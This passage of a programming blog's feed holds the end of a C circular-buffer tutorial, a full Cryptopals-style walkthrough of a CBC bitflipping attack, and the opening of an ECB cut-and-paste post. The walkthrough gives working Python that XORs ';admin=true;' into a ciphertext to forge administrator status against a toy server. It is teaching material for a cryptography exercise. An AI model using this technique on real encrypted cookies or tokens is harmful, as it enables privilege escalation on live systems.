&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hbehind&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If we move the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to the end we will reach again to the ambiguous cases but the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;hbehind&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; variable tell us that the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is behind the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; again:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/queues/circular-buffer/buffer_0_0_full.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_advance_head&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_get_ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hbehind&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="final-bits"&gt;Final bits&lt;/h3&gt;
&lt;p&gt;Finally, do not forget to destroy the buffer:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circular_buffer_destroy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/09/16/Ouroboros-Circular-Buffer.html" rel="alternate" type="text/html" title="Ouroboros - Circular Buffer"/>
    <category term="circular buffer" label="circular buffer"/>
    <category term="data structure" label="data structure"/>
    <category term="performance" label="performance"/>
    <published>2018-09-16T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/07/03/CBC-Bitflipping.html</id>
    <title>CBC Bitflipping</title>
    <updated>2018-07-03T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;CBC does not offer any protection against an active attacker.&lt;/p&gt;
&lt;p&gt;Flipping some bits in a ciphertext block totally scrambles its plaintext but it has a very specific effect in the &lt;em&gt;next&lt;/em&gt; plaintext block.&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Without any message integrity, a CBC ciphertext can be patched to modify the plaintext at will.&lt;!--more--&gt;&lt;/p&gt;
&lt;h3 id="warming-up"&gt;Warming up&lt;/h3&gt;
&lt;p&gt;But first, let’s define a random configuration with some fixed values like the block size or the encryption mode:&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; from cryptonita import B                # byexample: +timeout=10

&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./posts/matasano/assets")
&gt;&gt;&gt; from challenge import generate_config, enc_cbc, dec_cbc  # byexample: +timeout=10

&gt;&gt;&gt; seed = 20180703   # make the tests 'random' but deterministic
--&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;     &lt;span class="c1"&gt;# leave this fixed, it is what happen in practice&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random_state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;enc_mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cbc&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;comment1=cooking%20MCs;userdata=&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;posfix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;;comment2=&lt;/span&gt;&lt;span class="si"&gt;%20li&lt;/span&gt;&lt;span class="s2"&gt;ke&lt;/span&gt;&lt;span class="si"&gt;%20a&lt;/span&gt;&lt;span class="s2"&gt;%20pound&lt;/span&gt;&lt;span class="si"&gt;%20o&lt;/span&gt;&lt;span class="s2"&gt;f%20bacon&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Take the following toy-function to insert the user’s data (possibly its profile) between the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;posfix&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; strings and then encrypt it:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;add_user_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;;&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;=&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;posfix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;enc_cbc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That function leaves in a server but the adversary (us) is &lt;em&gt;free to inject&lt;/em&gt; almost any data as the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;userdata&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; field.&lt;/p&gt;
&lt;p&gt;Now imagine this quite-dumb role-check function that process the user’s data: if one of the fields is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the user will be considered an Administrator:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dec_cbc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin=true&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We cannot add just &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, it would be too easy:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;add_user_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;some;admin=true;bar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So the idea is to &lt;strong&gt;patch&lt;/strong&gt; the ciphertext.&lt;/p&gt;
&lt;h2 id="bit-flipping-attack"&gt;Bit flipping attack&lt;/h2&gt;
&lt;p&gt;Recall that in CBC a ciphertext block is xored with the output of the decryption of the &lt;em&gt;next&lt;/em&gt; ciphertext block to get the &lt;em&gt;next&lt;/em&gt; plaintext block.&lt;/p&gt;
&lt;p&gt;If we modify one ciphertext block its decryption will be totally scrambled but we will have control of the &lt;em&gt;next&lt;/em&gt; plaintext block.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 60%;" class='' alt='' src='/img/matasano/cbc-dec.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='CldlIGRvbid0IGtub3cgaWYgb3VyIGluamVjdCBwbGFpbnRleHQKd2lsbCBiZSBhbGlnbmVkIHRvIHRoZSBibG9jayBzaXplIGJvdW5kYXJ5LiBUbyBlbnN1cmUgdGhhdCB3ZSBpbmplY3QKcGFkZGluZyBvZiB0d2ljZSB0aGUgYmxvY2sgc2l6ZSB0aGF0IHdhcnJhbnRpZXMgdGhhdCBhdCBsZWFzdCBvbmUgYmxvY2sKd2lsbCBiZSBmdWxsIHdpdGggb3VyIGBgQWBgcwptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldlIGRvbid0IGtub3cgaWYgb3VyIGluamVjdCBwbGFpbnRleHQKd2lsbCBiZSBhbGlnbmVkIHRvIHRoZSBibG9jayBzaXplIGJvdW5kYXJ5LiBUbyBlbnN1cmUgdGhhdCB3ZSBpbmplY3QKcGFkZGluZyBvZiB0d2ljZSB0aGUgYmxvY2sgc2l6ZSB0aGF0IHdhcnJhbnRpZXMgdGhhdCBhdCBsZWFzdCBvbmUgYmxvY2sKd2lsbCBiZSBmdWxsIHdpdGggb3VyIGBgQWBgcwptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
We don’t know if our inject plaintext will be aligned to the block size boundary. To ensure that we inject padding of twice the block size that warranties that at least one block will be full with our &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;s
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s create a ciphertext with enough &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;s to get at least one plaintext block full of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;s&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;add_user_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kc"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we can create the patch: the plaintext that we want xored with the plaintext that was encrypted:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;admin=true;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;zeros&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, we apply the patch targeting the ciphertext block of the full of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;s&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mutable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cblocks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://cryptopals.com/sets/2/challenges/16"&gt;CBC bitflipping attacks&lt;/a&gt; challenge unlock!&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/07/03/CBC-Bitflipping.html" rel="alternate" type="text/html" title="CBC Bitflipping"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="CBC" label="CBC"/>
    <category term="cipher block chaining" label="cipher block chaining"/>
    <category term="forgery" label="forgery"/>
    <category term="forge" label="forge"/>
    <category term="bit flipping" label="bit flipping"/>
    <published>2018-07-03T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/07/01/Cut-and-Paste-ECB-Blocks.html</id>
    <title>Cut and Paste ECB blocks</title>
    <updated>2018-07-01T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;In this game we control partially a plaintext that is encrypted under ECB mode with a secret key.&lt;/p&gt;
&lt;p&gt;This time the idea is not to reveal the key but to &lt;em&gt;forge&lt;/em&gt; a plaintext.&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
